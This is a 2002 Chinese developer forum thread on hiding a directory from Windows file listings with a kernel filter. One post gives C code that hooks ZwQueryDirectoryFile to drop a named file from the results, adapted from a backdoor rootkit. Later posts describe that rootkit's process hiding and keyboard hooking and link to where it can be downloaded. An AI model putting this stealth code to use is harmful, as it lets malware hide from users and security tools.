阅读:2667回复:22
想通过WDM驱动实现目录完全隐藏,能实现吗?应该怎么做?
想通过WDM驱动实现目录完全隐藏,能实现吗?应该怎么做?
|
|
最新喜欢:![]() |
沙发#
发布于:2002-04-25 15:12
可用ifs实现,和wdm无关吧。
|
|
|
板凳#
发布于:2002-04-25 15:18
可用ifs实现,和wdm无关吧。 能给详细说说吗? 不好意思,我菜级了! |
|
地板#
发布于:2002-04-25 15:28
捕获中断:
IRP_MJ_DIRECTORY_CONTROL IRP_MN_QUERY_DIRECTORY 然后设置完成例程: IoSetCompletionRoutine 在完成例程中检查用户Buffer中的目录的内容中是否有你要隐藏的文件或目录,如果有就从连表中把那项去掉即可! |
|
地下室#
发布于:2002-04-25 21:42
捕获中断: |
|
5楼#
发布于:2002-04-25 21:45
捕获中断: 我也认为应该是这样,但不只为什么Irp->UserBuffer里的内容我始终无法得到. |
|
6楼#
发布于:2002-04-26 07:21
我在写程序时也 出现上述问题?不知道为什么?zhjzhj
|
|
7楼#
发布于:2002-04-26 09:18
捕获中断: 为什么要等完成了再作检查? 我认为在没调用低层驱动程序之前就能截获到目录、文件信息,可以不等到调用低层驱动程序之后。不知zhjzhj可否深谈一下。 |
|
|
8楼#
发布于:2002-04-26 10:50
如果目录中所有文件都要隐藏,可能你说的可以,但如果目录中有的文件需要隐藏,有的不需要隐藏,只能返回后在过滤了!
|
|
9楼#
发布于:2002-04-26 11:02
PVOID FileInformationBuffer;
ULONG FileInformationBufferLength; PFILE_BOTH_DIR_INFORMATION p; PFILE_BOTH_DIR_INFORMATION pLast = NULL; FileInformationBufferLength =IrpSp->Parameters.QueryDirectory.Length; FileInformationBuffer = Irp->UserBuffer; 主要是FILE_BOTH_DIR_INFORMATION这个结构了,结构中的FileName是双字节的,应该适当装化才能与ansi字符串比较,还有注意完成例程的运行级别(<=DISPATCH_LEVEL)。 |
|
10楼#
发布于:2002-04-26 11:37
NTSTATUS NewZwQueryDirectoryFile(
IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery) { NTSTATUS ntStatus; CHAR szProcessName[PROCNAMELEN]; BOOL bLastOne; int iPos; int iLeft; pDirEntry pCurrDir; pDirEntry pLastDir; GetProcessName(szProcessName); ntStatus = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( hFile, hEvent, IoApcRoutine, IoApcContext, pIoStatusBlock, FileInformationBuffer, FileInformationBufferLength, FileInfoClass, bReturnOnlyOneEntry, PathMask, bRestartQuery); if (!NT_SUCCESS(ntStatus)) goto Exit0; if (memcmp(szProcessName, \"Install\", 7) == 0) goto Exit0; pCurrDir = (pDirEntry)FileInformationBuffer; pLastDir = NULL; do { bLastOne = !(pCurrDir->dwLenToNext); if (RtlCompareMemory((PVOID)&pCurrDir->suName[0], (PVOID)&g_wszHideFileName[0], 14) == 14) { if (bLastOne) { if (pCurrDir == (pDirEntry)FileInformationBuffer) ntStatus = 0x80000006; else pLastDir->dwLenToNext = 0; break; } else { iPos = ((ULONG)pCurrDir) - (ULONG)FileInformationBuffer; iLeft = (DWORD)FileInformationBufferLength - iPos - pCurrDir->dwLenToNext; RtlCopyMemory((PVOID)pCurrDir, (PVOID)((char *)pCurrDir + pCurrDir->dwLenToNext), (DWORD)iLeft); continue; } } pLastDir = pCurrDir; pCurrDir = (pDirEntry)((char *)pCurrDir + pCurrDir->dwLenToNext ); } while (!bLastOne); Exit0: return ntStatus; 代码从rootkit改动而来 rootkit里面还有隐藏进程的代码 是sys的 |
|
|
11楼#
发布于:2002-04-26 13:39
楼上的兄弟,rootkit是什么程序?
|
|
|
12楼#
发布于:2002-04-26 17:56
这种目录隐藏,我在程序中强行访问是不是能访问到?
|
|
13楼#
发布于:2002-04-26 20:51
rootkit是国外一个人写的一个后门程序
sys的,可以隐藏进程,隐藏文件目录,hook keyboard,tcp/ip 系统服务等,带源码 这个程序在知道绝对路径的情况可以访问,不过一般除了自己 知道文件名目录外,别人无法知道 |
|
|
14楼#
发布于:2002-04-26 21:55
有下载吗?
|
|
|
15楼#
发布于:2002-04-27 08:58
rootkit是国外一个人写的一个后门程序 您有原代码吗?能不能发给我一分!谢谢! whz_time@163.com |
|
16楼#
发布于:2002-04-27 12:26
我也想要
du_lin_0_0@163.com :D :D :D |
|
17楼#
发布于:2002-04-27 14:11
用户被禁言,该主题自动屏蔽! |
|
18楼#
发布于:2002-04-27 15:25
在这个网站上有,给点分吧!一点就行。
http://www.xfocus.net/tool.php?kind_id=6 |
|
19楼#
发布于:2002-04-27 17:15
上面那位已经把地址贴出来了
|
|
|
上一页
下一页